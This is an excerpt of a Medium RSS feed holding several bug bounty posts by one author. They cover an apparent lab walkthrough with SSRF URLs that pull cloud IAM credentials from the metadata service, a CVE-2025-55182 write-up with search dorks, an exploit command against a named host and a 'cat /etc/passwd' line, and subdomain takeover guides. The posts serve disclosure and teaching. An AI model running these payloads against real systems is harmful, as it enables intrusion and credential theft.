revealed:</li></ul><pre>&lt;Error&gt;<br>&lt;Code&gt;NoSuchBucket&lt;/Code&gt;<br>&lt;Message&gt;The specified bucket does not exist&lt;/Message&gt;<br>&lt;BucketName&gt;www.fintech.net&lt;/BucketName&gt;<br>&lt;RequestId&gt;F30JFVWZJ5DJJ53T&lt;/RequestId&gt;<br>&lt;HostId&gt;bc6zPv6yA3Vf2atd+xD0gSWKoQQcwlS0aGChBWpNfnbHDghuVU8B4ElZRAzYP2l3GUyPaGbnlylri1Sg1DdWZaLw49/hQlVKgbovz93hg1k=&lt;/HostId&gt;<br>&lt;/Error&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sdTA9MxHsd4n5-M5hXQaPQ.png" /></figure><h4>Root Cause</h4><p>Dangling DNS record pointing to unclaimed S3 bucket.</p><h3>SSRF — Major Gaming Company</h3><p><strong>Vulnerability Type:</strong> Server-Side Request Forgery<br> <strong>Impact:</strong> Cloud credential exposure</p><h4>Methodology</h4><ul><li>Domain visit</li></ul><pre>https://content-service.bugbountymasterclass.com</pre><ul><li>Exploit Path</li></ul><pre>{fileName}</pre><ul><li>Request this URL</li></ul><pre>https://content-service.bugbountymasterclass.com/api/content/v2/module/c5b1ee02-4096-4f92-e437-7f932c6b1181/version/2/staged-files/http://169.254.169.254/latest/meta-data/</pre><ul><li>List the IAM Roles</li></ul><pre>https://content-service.bugbountymasterclass.com/api/content/v2/module/c5b1ee02-4096-4f92-e437-7f932c6b1181/version/2/staged-files/http://169.254.169.254/latest/meta-data/iam/security-credentials/</pre><ul><li>Extract the Credentials and Flag</li></ul><pre>https://content-service.bugbountymasterclass.com/api/content/v2/module/c5b1ee02-4096-4f92-e437-7f932c6b1181/version/2/staged-files/http://169.254.169.254/latest/meta-data/iam/security-credentials/content-service-role</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HDf7lnVBUdMXFFwHmzCXCw.png" /></figure><h4>Root Cause</h4><p>Backend fetch function lacked URL validation</p><h3>GitHub Authentication Bypass — Major CRM</h3><p><strong>Vulnerability Type:</strong> Secret Leak (Exposed PAT)<br> <strong>Impact:</strong> Internal GitHub access</p><h4>Methodology</h4><ul><li>GitHub dork:</li></ul><pre>&quot;bugbountymasterclass.com&quot;</pre><ul><li>Click nagliwiz/cool-stuff · .env</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w4lgqe0lORU1-LJZFFnBOw.png" /></figure><ul><li>Commits chek GITHUB_TOKEN and copy</li><li>go and Validate GitHub Token</li></ul><pre>https://github.enterprise.bugbountymasterclass.com/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJJQBo5yW7xR0uvI-uvQaA.png" /></figure><h4>Root Cause</h4><p>Developer committed credentials to public repo.</p><h3>Breaking into a Major Bank</h3><p><strong>Vulnerability Type:</strong> Exposed Spring Boot Actuator<br> <strong>Impact:</strong> Memory dump → secret extraction</p><h4>Discovery</h4><pre>/actuator/env</pre><ul><li>Locate the Vulnerable Dump Endpoint</li></ul><pre>https://bank.bugbountymasterclass.com/actuator/heapdump</pre><ul><li>Extracted flag via:</li></ul><pre>strings heapdump | grep &quot;WIZFLAG&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*DpoErCVZ4uvjyg32CESBgA.png" /></figure><h4>Root Cause</h4><p>Production environment exposed debugging endpoints.</p><h3>0-Click Account Takeover (Router Reseller)</h3><p><strong>Vulnerability Type:</strong> Cross-Environment Session Confusion<br> <strong>Impact:</strong> Full admin takeover</p><h4>Exploit Steps</h4><ul><li>Logged into staging as gues</li></ul><pre>https://stage.router-resellers.bugbountymasterclass.com/login</pre><ul><li>Captured session cookie</li><li>Replayed cookie in production</li></ul><pre>https://prod.router-resellers.bugbountymasterclass.com/</pre><ul><li>Gained ADMIN access</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HyfwfAz781TtniUu0lBaRQ.png" /></figure><h4>Root Cause</h4><ul><li>Same session signing secret across environments</li><li>Cookie scoped to parent domain</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FFIWbPIuASM4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DFIWbPIuASM4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FFIWbPIuASM4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1a63f043cf8c706ab92969ae1f858dea/href">https://medium.com/media/1a63f043cf8c706ab92969ae1f858dea/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tbt37SlEREo-fT7nl70BUQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7df5a36c148" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[React2Shell — React Server Components RCE CVE-2025–55182]]></title>
            <link>https://medium.com/@zabedullahpoyel/react2shell-react-server-components-rce-cve-2025-55182-6cc782503c5e?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6cc782503c5e</guid>
            <category><![CDATA[react2shell-vulnerability]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[cve-2025-55182]]></category>
            <category><![CDATA[react2shell]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Fri, 26 Dec 2025 09:09:16 GMT</pubDate>
            <atom:updated>2025-12-26T09:09:16.560Z</atom:updated>
            <content:encoded><![CDATA[<h3>Analyzing CVE-2025–55182: React Server Components RCE in Next.js Applications</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yLVLbNXlExLf9C4BP7YsDA.png" /></figure><h3>Summary</h3><p><strong>React2Shell (CVE-2025–55182)</strong> is a <strong>critical Remote Code Execution (RCE)</strong> vulnerability affecting applications that use <strong>React Server Components (RSC)</strong> commonly deployed in <strong>Next.js</strong> environments.<br> The flaw arises from <strong>unsafe deserialization and command execution paths</strong> in RSC request handling allowing attackers to execute arbitrary system commands on the server.</p><p><strong>Severity:</strong> Critical<br><strong>Attack Vector:</strong> Remote (Unauthenticated in many cases)<br><strong>Impact:</strong> Full server compromise<br><strong>Affected Stack:</strong> React Server Components / Next.js</p><h3>Search Engine Dorks</h3><h4>Shodan</h4><pre>http.component:&quot;next.js,react&quot;<br>http.component:&quot;Next.js&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1QgijN_Ui4EssgXtfzzlQ.png" /></figure><h4>ZoomEye</h4><pre>http.body=&quot;react.production.min.js&quot;<br>http.body=&quot;React.createElement(&quot;<br>app=&quot;React Router&quot;</pre><h4>FOFA</h4><pre>app=&quot;NEXT.JS&quot;<br>app=&quot;React.js&quot;</pre><h3>Detection &amp; Validation</h3><h3>Automated Scanning</h3><p><strong>Nuclei Template (Official):</strong></p><pre>https://cloud.projectdiscovery.io/library/CVE-2025-55182<br>https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml<br><br>echo domain.com | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml<br>cat domains.txt | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wlL4tB0jPB6maDYOmqvnuQ.png" /></figure><h3>Browser-Based</h3><p><strong>RSC Detector Extension</strong></p><pre>https://github.com/mrknow001/RSC_Detector<br><br>----Command<br>cat /etc/passwd<br>ls -la<br>uname -a<br>id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T-ZcjIMV8_2sxE9wBoqq-A.png" /></figure><h3>Tools</h3><pre>https://github.com/Chocapikk/CVE-2025-55182<br>python3 exploit.py -u https://prod-daash.ryvalx.com -c &quot;id&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y34jtzjaE1jq6nKm187TlA.png" /></figure><h3>Impact</h3><p>Successful exploitation allows an attacker to:</p><ul><li>Execute arbitrary OS commands</li><li>Read sensitive files (environment variables, secrets)</li><li>Pivot laterally inside infrastructure</li><li>Achieve full application takeover</li><li>Potentially compromise CI/CD pipelines</li></ul><p><strong>Business Impact:</strong></p><ul><li>Data breaches</li><li>Credential exposure</li><li>Supply chain compromise</li><li>Complete loss of application integrity</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FkT7ibaRLOdo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DkT7ibaRLOdo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FkT7ibaRLOdo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0bd9290f2bf4ae9b4725b33e2fb5f78e/href">https://medium.com/media/0bd9290f2bf4ae9b4725b33e2fb5f78e/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cc782503c5e" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Subdomain Takeover Explained: Complete Step-by-Step Guide (Recon to Exploit)]]></title>
            <link>https://medium.com/@zabedullahpoyel/subdomain-takeover-explained-complete-step-by-step-guide-recon-to-exploit-5fc9c8029cbb?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fc9c8029cbb</guid>
            <category><![CDATA[takeovers]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[misconfiguration]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Thu, 25 Dec 2025 00:47:15 GMT</pubDate>
            <atom:updated>2026-01-30T14:32:48.096Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHv1Plhl-bQOEZ-Oo_-qVg.png" /></figure><h3>1. Introduction</h3><p>A <strong>subdomain takeover</strong> vulnerability occurs when a subdomain points to a <strong>third-party service</strong> (via DNS records such as CNAME) that is <strong>no longer claimed or configured</strong>.<br> An attacker can register the missing resource and gain control of the subdomain.</p><h3>2. Scope and Target</h3><ul><li><strong>Target domain:</strong> example.com</li><li><strong>In-scope:</strong> All subdomains under *.example.com</li><li><strong>Out-of-scope:</strong> Assets excluded by the bug bounty program</li></ul><p>All testing was performed according to program rules.</p><h3>3. Subdomain Discovery (Reconnaissance)</h3><p>The first step is collecting all possible subdomains of the target.</p><h4>Tools Used</h4><ul><li>subfinder</li><li>assetfinder</li><li>amass</li></ul><h4>Result</h4><p>All discovered subdomains were saved to:</p><pre>subdomains.txt</pre><p>Example:</p><pre>dev.example.com<br>staging.example.com<br>blog.example.com<br>cdn.example.com</pre><h3>4. HTTP Probing — Finding 404 Subdomains</h3><p>Next, the discovered subdomains were probed to identify inactive or misconfigured hosts.</p><h4>Command</h4><pre>httpx -l subdomains.txt -status-code -silent</pre><h4>Result</h4><p>Subdomains returning <strong>404 Not Found</strong> responses were filtered and saved to:</p><pre>404_web.txt</pre><p>These subdomains are strong candidates for takeover testing.</p><h3>5. DNS Analysis</h3><p>Subdomain takeovers usually depend on <strong>dangling DNS records</strong>, especially CNAME records pointing to third-party services.</p><h4>5.1 Extracting CNAME Records</h4><pre>cat 404_web.txt | while read domains; do dig $domains; done | grep CNAME | tee -a CNAME_Records</pre><h4>5.2 Full DNS Dump and Filtering</h4><pre>cat 404_web.txt | while read domain; do dig $domain; done | tee -a digs.txt<br>cat digs.txt | grep CNAME</pre><h4>Finding</h4><p>Example:</p><pre>dev.example.com CNAME dev-example.herokuapp.com</pre><p>This shows that the subdomain points to <strong>Heroku</strong>, a third-party service.</p><h3>6. Service Validation (Manual Verification)</h3><p>DNS records alone are not enough.<br> The third-party service must be confirmed as <strong>unclaimed</strong>.</p><h4>HTTP Header Check</h4><pre>curl -I dev.example.com</pre><h4>Response Body</h4><pre>No such app</pre><p>This is a <strong>known Heroku error message</strong>, indicating that the application does not exist and can be claimed.</p><p>Reference:</p><ul><li><a href="https://github.com/EdOverflow/can-i-take-over-xyz">https://github.com/EdOverflow/can-i-take-over-xyz</a></li><li><a href="https://github.com/shifa123/Can-I-take-over-xyz-v2">https://github.com/shifa123/Can-I-take-over-xyz-v2</a></li></ul><h3>7. Automated Validation</h3><p>Automation was used to confirm the finding and reduce false positives.</p><h4>7.1 Subzy</h4><pre>subzy run --targets 404_web.txt --concurrency 100 --hide_fails --verify_ssl</pre><h4>Result</h4><pre>[VULNERABLE] dev.example.com → Heroku</pre><h4>7.2 Nuclei</h4><pre>nuclei -l 404_web.txt -tags takeover -o nuclei_takeovers.txt</pre><p>Nuclei confirmed the takeover using provider-specific templates.</p><h3>8. Proof of Concept (POC)</h3><h4>Proof Included</h4><ul><li>Dangling CNAME record pointing to Heroku</li><li>HTTP response showing “No such app”</li><li>Automated confirmation via Subzy and Nuclei</li></ul><p>Reference POC examples:<br> <a href="https://0xpatrik.com/takeover-proofs/">https://0xpatrik.com/takeover-proofs/</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FH-r52FkS3Dk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DH-r52FkS3Dk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FH-r52FkS3Dk%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/12ddcd95f62cce247e87004f1beb275c/href">https://medium.com/media/12ddcd95f62cce247e87004f1beb275c/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F0B793WdnuRw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D0B793WdnuRw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F0B793WdnuRw%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c537c49d5090c703a0512f821273def3/href">https://medium.com/media/c537c49d5090c703a0512f821273def3/href</a></iframe><h3>9. Impact</h3><p>If exploited, an attacker could:</p><ul><li>Host malicious content under dev.example.com</li><li>Steal cookies scoped to .example.com</li><li>Perform phishing attacks</li><li>Abuse OAuth redirect or trust relationships</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fc9c8029cbb" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Password Reset Does Not Log Out Existing Sessions, Allowing Persistent Unauthorized Access]]></title>
            <link>https://medium.com/@zabedullahpoyel/password-reset-does-not-log-out-existing-sessions-allowing-persistent-unauthorized-access-756146fa67c4?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/756146fa67c4</guid>
            <category><![CDATA[two-factor-authentication]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[user-authentication]]></category>
            <category><![CDATA[jwt-authentication]]></category>
            <category><![CDATA[authentication-methods]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 23:33:21 GMT</pubDate>
            <atom:updated>2025-12-24T23:33:21.806Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-fO-yppQI1VD48eq22XqeA.png" /></figure><h3>Summary</h3><p>SingleStore Portal fails to invalidate previously authenticated sessions after a password reset.<br>Even after the user resets their password (typically done due to suspected compromise), any existing session tokens remain fully valid in other browsers or devices.</p><p>This creates a situation where an attacker with an existing session can <strong>bypass the entire password reset security mechanism</strong> and continue accessing the account.</p><p>This behavior violates industry-standard security practices and aligns with <strong>CWE-613: Insufficient Session Expiration</strong>.</p><h3>Steps to Reproduce</h3><p><strong>Target:</strong> <a href="https://portal.singlestore.com/">https://portal.singlestore.com</a><br> <strong>Test Account (for demonstration):</strong></p><ul><li>Email: 56p8zjppoy@jkotypc.com</li><li>Original Password: ?k2H6s710r</li><li>New Password After Reset: ?k2H6s72610r</li></ul><h3>Reproduction Flow:</h3><ol><li><strong>Open Browser A</strong></li></ol><ul><li>Login using original password.</li><li>Confirm successful authentication.</li></ul><p><strong>2. Open Browser B</strong></p><ul><li>Login using the same account and same original password.</li><li>Confirm successful authentication here as well.</li></ul><p><strong>3. In Browser A:</strong></p><ul><li>Logout.</li><li>Initiate “Forgot Password” → Reset the password.</li><li>Login again using the <em>new</em> password.</li></ul><p><strong>4. Switch to Browser B:</strong></p><ul><li>Refresh the page or browse authenticated content.</li><li><strong>Browser B remains logged in</strong>, despite the password reset.</li></ul><h3>Observed Result</h3><p>Old session tokens → <strong>NOT invalidated</strong><br> Browser B → <strong>Still authenticated</strong><br> Attacker with any active session → <strong>Retains full access</strong></p><h3>Expected Result</h3><p>All existing sessions should be <strong>immediately logged out</strong> upon password reset.<br>Any request made with an old session token should be rejected and require fresh authentication.</p><h3>Proof of Concept</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FG4UbjSL9vSY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DG4UbjSL9vSY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FG4UbjSL9vSY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fd4aab3b09902a3acde32d53a3925a97/href">https://medium.com/media/fd4aab3b09902a3acde32d53a3925a97/href</a></iframe><p>The PoC video clearly demonstrates session persistence after password reset.</p><h3>Impact Analysis</h3><h3>Confidentiality</h3><p>An attacker with a stolen session or access to a previously logged-in device still retains full access even after the victim resets the password. Sensitive data remains exposed.</p><h3>Integrity</h3><p>The attacker can perform authorized actions (depending on privileges):</p><ul><li>Modify cluster configurations</li><li>Execute database operations</li><li>Change settings</li><li>Access billing or organizational data</li></ul><h3>User Safety &amp; Trust</h3><p>Password reset is expected to revoke access for unauthorized users.<br> Failure to enforce this breaks user trust and reduces the security value of the reset process.</p><h3>Severity</h3><ul><li><strong>High</strong> for regular accounts with sensitive data</li><li><strong>Critical</strong> for admin, database managers, or billing roles</li></ul><h3>CWE Mapping</h3><ul><li><strong>CWE-613 — Insufficient Session Expiration</strong></li><li>Related:</li><li><strong>CWE-384 — Session Fixation</strong> (conceptual relation)</li><li><strong>CWE-522 — Insufficiently Protected Credentials</strong> (contextual)</li></ul><h3>Why This Bug Matters</h3><p>Session invalidation after a password reset is a foundational security expectation.<br> Users rely on it for protection after:</p><ul><li>Device loss</li><li>Compromised accounts</li><li>Shared computer usage</li><li>Suspicious login activity</li></ul><p>Failing to invalidate sessions effectively <strong>nullifies the entire password reset security mechanism</strong>, putting users at risk.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=756146fa67c4" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[GitHub Pages Subdomain Takeover on aiaa-dpw.larc.nasa.gov (NASA VDP)]]></title>
            <link>https://medium.com/@zabedullahpoyel/github-pages-subdomain-takeover-on-aiaa-dpw-larc-nasa-gov-nasa-vdp-1233a5c468fe?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1233a5c468fe</guid>
            <category><![CDATA[github-pages-takeover]]></category>
            <category><![CDATA[nasa-subdomain-takeover]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[nasa-vdp]]></category>
            <category><![CDATA[bug-bounty-nasa]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Sat, 06 Dec 2025 17:05:14 GMT</pubDate>
            <atom:updated>2025-12-06T17:05:14.321Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*avEIHiWihM_LL3ZvElKzCA.png" /></figure><p><strong>Researcher:</strong> Zabed Ullah Poyel<br><strong>Program:</strong> NASA - Vulnerability Disclosure Program (VDP)<br><strong>Status:</strong> Resolved<br><strong>Severity:</strong> P3 (Subdomain Takeover)<br><strong>VRT:</strong> Server Security Misconfiguration &gt; Misconfigured DNS &gt; Subdomain Takeover<br><strong>Appreciation:</strong> NASA Letter of Appreciation (LoA)</p><h3>Introduction</h3><p>During routine reconnaissance under NASA’s Vulnerability Disclosure Program, I identified a <strong>GitHub Pages subdomain takeover</strong> affecting:</p><pre>aiaa-dpw.larc.nasa.gov</pre><p>The subdomain pointed to <strong>GitHub Pages infrastructure</strong>, but NASA was <strong>not hosting content on a corresponding GitHub repository</strong> — leaving it unclaimed.<br> This created a high-impact scenario where an attacker could host <strong>arbitrary content</strong> under a trusted <em>nasa.gov</em> domain.</p><p>Subdomain takeovers are especially dangerous for government domains because they enable:</p><ul><li>Highly convincing phishing attacks</li><li>Malware distribution</li><li>Supply-chain compromise</li><li>Brand/reputation damage</li><li>Unauthorized JavaScript execution under a trusted domain</li></ul><h3>Recon &amp; Identification</h3><h4>Step 1 — DNS Check</h4><p>A simple DNS lookup showed that the subdomain resolved to GitHub Pages IPs:</p><pre>dig aiaa-dpw.larc.nasa.gov +short<br>185.199.108.153<br>185.199.109.153<br>185.199.110.153<br>185.199.111.153</pre><p>These IPs are part of GitHub Pages hosting infrastructure.</p><h4>Step 2 — Visit the Subdomain</h4><p>Accessing:</p><pre>https://aiaa-dpw.larc.nasa.gov</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOWLDMxNiEZuCxJ6dMrzFQ.png" /></figure><p>showed a <strong>GitHub 404/placeholder page</strong>, indicating:</p><p>✔ DNS points to GitHub<br> ✘ No GitHub repo is configured</p><p>This is the exact condition required for GitHub Pages takeover.</p><h3>Exploitation (Ethical PoC)</h3><h4>Create a GitHub Repository</h4><p>I created a GitHub Pages repo using my account and added this <strong>Custom Domain</strong>:</p><pre>aiaa-dpw.larc.nasa.gov</pre><p>GitHub performed DNS verification:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDavUxdLt5eXrHPpNER2ng.png" /></figure><p>✔ <strong>DNS check successful</strong><br> ✔ The domain was attachable<br> ✔ The NASA subdomain became linked to my repository</p><h4>Deploy Proof-of-Control Page</h4><p>I deployed a simple, non-harmful HTML file:</p><pre>&lt;h1&gt;Subdomain Takeover by Zabed Ullah Poyel&lt;/h1&gt;</pre><h4>Result: Successful takeover</h4><p>Visiting the NASA subdomain now displayed my custom GitHub Pages content — proving full control.</p><p>Screenshots included in the submission:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUr_T47SaSuufb92HN0pHg.png" /></figure><ul><li>GitHub Pages DNS check successful</li><li>The NASA subdomain displaying my custom page</li><li>DNS records pointing to GitHub Pages</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F0B793WdnuRw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D0B793WdnuRw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F0B793WdnuRw%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a77b39e90926d57a204e3973b49ddb5d/href">https://medium.com/media/a77b39e90926d57a204e3973b49ddb5d/href</a></iframe><h3>Remediation</h3><p>NASA successfully remediated the vulnerability by:</p><p>✔ Removing the outdated DNS records<br> ✔ Decommissioning the unused GitHub Pages mapping<br> ✔ Ensuring no unclaimed GitHub Pages subdomains remain exposed</p><p>The vulnerability was marked <strong>Resolved</strong>, and NASA issued an official <strong>Letter of Appreciation</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tt9BpCiP_6AWCYw7CwRJ5Q.jpeg" /><figcaption><strong>Letter of Appreciation</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*CauhcQ9URunPNhoYB5vNSg.png" /><figcaption><strong>Hall of Fame</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1233a5c468fe" width="1" height="1" alt="">]]></content:encoded>
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